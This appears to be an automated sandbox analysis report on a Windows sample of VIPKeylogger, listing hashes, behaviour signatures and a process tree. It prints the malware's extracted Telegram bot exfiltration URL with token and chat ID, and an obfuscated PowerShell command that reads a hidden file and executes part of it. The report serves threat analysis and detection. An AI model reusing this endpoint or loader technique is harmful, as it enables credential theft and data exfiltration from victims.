Analysis
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max time kernel
141s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
03-12-2024 03:05
General
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Target
d6b544f7fe973a0ec18dc6994869bbd97779b965a7bc999b11f1d590cff9707b.exe
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Size
560KB
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MD5
376eba8de3fb318ec11efa037f8c0999
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SHA1
998079a01ea4b5af7d90b44e289ff3e61caaa6c2
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SHA256
d6b544f7fe973a0ec18dc6994869bbd97779b965a7bc999b11f1d590cff9707b
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SHA512
1113f67e131f0dc952f8168be4274f910e942992b6775daaa241f48e1852ceb10875d609d34fed41ac2b5ba845d34adf327a99eaa52a7be3dbf054876aae7496
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SSDEEP
6144:14t6Ls60mub8lmN1d/VJjbGTaQ8jY7dsO9sKL/urW09nSl6Mkmt4XzVkpmAZ51Mg:1kuicyCdsYsKLktnS5oVMmySMpQK7
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot7689901861:AAEBNHwgb6W6VOFJWVPXuo-RFbpacsgCwQg/sendMessage?chat_id=7582232587
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 8 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 11 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\d6b544f7fe973a0ec18dc6994869bbd97779b965a7bc999b11f1d590cff9707b.exe"C:\Users\Admin\AppData\Local\Temp\d6b544f7fe973a0ec18dc6994869bbd97779b965a7bc999b11f1d590cff9707b.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle minimized "$Underborer=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\Lysstraales\Genoversat\lirens\Prvelser.Lac';$succederer=$Underborer.SubString(68121,3);.$succederer($Underborer)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
66KB
MD52fdb2387b2ec76ba38cf0b98ff9b385a
SHA1159f150b31e4282ad50fee6b9cf2198bc7e6434b
SHA256fbf49a93c4f39e1b67a8b995df62cdb2ab62bc8508246442613c6dd57ccb070f
SHA512f5461b96e7c6b647c371c91fc7049f62565239c57105c91833faf6e23073f06206ffa4a0d79e584ed8e080d0f985126863c354f42c4f82c4d7b756ffca583c76
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Filesize
313KB
MD52aedacd2d5f1723295bd050493254f2e
SHA108922a972106ebc10443b2353004317f67a408cb
SHA2568c95496e75cc10a476add694057c11ec66b5cebe03cf7a67e996e014487566d4
SHA512cb3c4a856d3b10dcfdc6437b2f67811da95e7668ad6c59598ef838b439ebfa35ecb3f9599eb46f99124b2700a54a4d66503ffad3517f168ecca7eecd6ad40a5f
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
4KB
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Filesize
216KB
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Filesize
7.7MB
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Filesize
6.2MB
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Filesize
7.7MB
-
Filesize
136KB
-
Filesize
408KB
-
Filesize
408KB
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Filesize
3.3MB
-
Filesize
120KB
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Filesize
304KB
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Filesize
600KB
-
Filesize
104KB
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Filesize
136KB
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Filesize
5.6MB
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Filesize
6.5MB
-
Filesize
7.7MB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
200KB
-
Filesize
7.7MB
-
Filesize
652KB
-
Filesize
40KB
-
Filesize
7.7MB
-
Filesize
68KB
-
Filesize
56KB
-
Filesize
80KB
-
Filesize
104KB
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Filesize
32KB
-
Filesize
168KB
-
Filesize
144KB
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Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
4KB
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Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
89.8MB
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Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
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Filesize
7.7MB
-
Filesize
18.3MB
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Filesize
18.3MB
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Filesize
296KB
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Filesize
624KB
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Filesize
1.8MB
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Filesize
320KB
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Filesize
5.2MB
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Filesize
584KB
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Filesize
40KB